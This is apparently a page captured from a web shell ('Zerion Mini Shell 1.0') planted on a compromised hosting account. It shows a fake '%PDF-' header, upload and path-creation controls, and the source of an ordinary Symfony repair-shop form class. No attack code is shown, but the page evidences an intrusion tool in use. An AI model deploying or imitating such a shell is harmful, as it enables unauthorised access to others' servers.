%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emtnaeewxm/www/src/EEM/MaintenanceBundle/Form/
Upload File :
Create Path :
Current File : /home/emtnaeewxm/www/src/EEM/MaintenanceBundle/Form/MaintenanceType.php

<?php

namespace EEM\MaintenanceBundle\Form;

use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
use Symfony\Component\Form\Extension\Core\Type\TextType;
use Symfony\Component\Form\Extension\Core\Type\TextareaType;
use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
use EEM\MaintenanceBundle\Entity\Maintenance;
use Symfony\Bridge\Doctrine\Form\Type\EntityType;
use Doctrine\ORM\EntityRepository;
use Symfony\Component\Form\FormEvent;
use Symfony\Component\Form\FormEvents;
use Symfony\Component\Form\FormInterface;

class MaintenanceType extends AbstractType
{
    /**
     * {@inheritdoc}
     */
    public function buildForm(FormBuilderInterface $builder, array $options)
    {
        $maintenance = new Maintenance();
        $builder
            ->add('nomClient', TextType::class, [
                "label" => "Nom",
                "required" => false,
                'attr' => [
                    'autocomplete' => 'off',
                    'placeholder' => 'Nom']
            ])
            ->add('telClient', TextType::class, [
                "label" => "Téléphone",
                "required" => false,
                'attr' => [
                    'autocomplete' => 'off',
                    'placeholder' => 'Téléphone']
            ])
            ->add('cinClient', TextType::class, [
                "label" => "Cin",
                "required" => false,
                'attr' => [
                    'autocomplete' => 'off',
                    'placeholder' => 'Cin']
            ])
            ->add('numSerie', TextType::class, [
                "label" => "N° Série",
                "required" => false,
                'attr' => [
                    'autocomplete' => 'off',
                    'placeholder' => 'N° Série']
            ])
            ->add('prixVente', TextType::class, [
                "label" => "Prix vente",
                "required" => false,
                'attr' => [
                    'autocomplete' => 'off',
                    'placeholder' => 'Prix vente']
            ])
            ->add('avance', TextType::class, [
                "label" => "Avance",
                "required" => false,
                'attr' => [
                    'autocomplete' => 'off',
                    'placeholder' => 'Avance']
            ])
            ->add('avance', TextType::class, [
                "label" => "Avance",
                "required" => false,
                'attr' => [
                    'autocomplete' => 'off',
                    'placeholder' => 'Avance']
            ])
            ->add('panne', ChoiceType::class, array(
                'label' => 'Panne',
                'placeholder' => 'Tous',
                'choices' => array_flip($maintenance->liste_panne()),
                'expanded' => false,
                'multiple' => false,
                'required' => false
            ))
            ->add('marque', EntityType::class, [
                'class' => 'EEMArticleBundle:Marque',
                'choice_label' => 'name',
                'query_builder' => function (EntityRepository $er) {
                    return $er->createQueryBuilder('p')
                        ->leftJoin('p.familles', 'familles')
                        ->addSelect('familles')
                        ->andWhere('familles.id = :famille_id')
                        ->setParameter('famille_id', 1)
                        ->orderBy('p.name', 'ASC');
                },
                'placeholder' => 'Tous',
                'label' => 'Marque',
                'required' => false,
            ])
        ;
        $addFacilityForm = function (FormInterface $form, $marque_id) {

            $form->add('model', EntityType::class, array(
                'class' => 'EEMArticleBundle:Modele',
                'placeholder' => 'Tous',
                'label' => 'Modele',
                'choice_label' => 'name',
                'required' => false,
                'query_builder' => function (EntityRepository $er) use ($marque_id) {
                    // this does the trick to get the right options
                    return $er->createQueryBuilder('m')
                        ->where('m.marque = :marque_id')
                        ->setParameter('marque_id', $marque_id)
                        ->orderBy('m.name', 'ASC');
                }
            ));


        };
        $builder->addEventListener(
            FormEvents::PRE_SET_DATA, function (FormEvent $event) use ($addFacilityForm) {
            $marque = $event->getData()->getMarque();
            $marque_id = $marque ? $marque->getId() : null;
            $addFacilityForm($event->getForm(), $marque_id);
        }
        );
        $builder->addEventListener(
            FormEvents::PRE_SUBMIT, function (FormEvent $event) use ($addFacilityForm) {
            $data = $event->getData();
            $marque_id = array_key_exists('marque', $data) ? $data['marque'] : null;

            $addFacilityForm($event->getForm(), $marque_id);
        }
        );

 }

    /**
     * {@inheritdoc}
     */
    public function configureOptions(OptionsResolver $resolver)
    {
        $resolver->setDefaults(array(
            'data_class' => 'EEM\MaintenanceBundle\Entity\Maintenance'
        ));
    }

    /**
     * {@inheritdoc}
     */
    public function getBlockPrefix()
    {
        return 'eem_maintenancebundle_maintenance';
    }


}

Zerion Mini Shell 1.0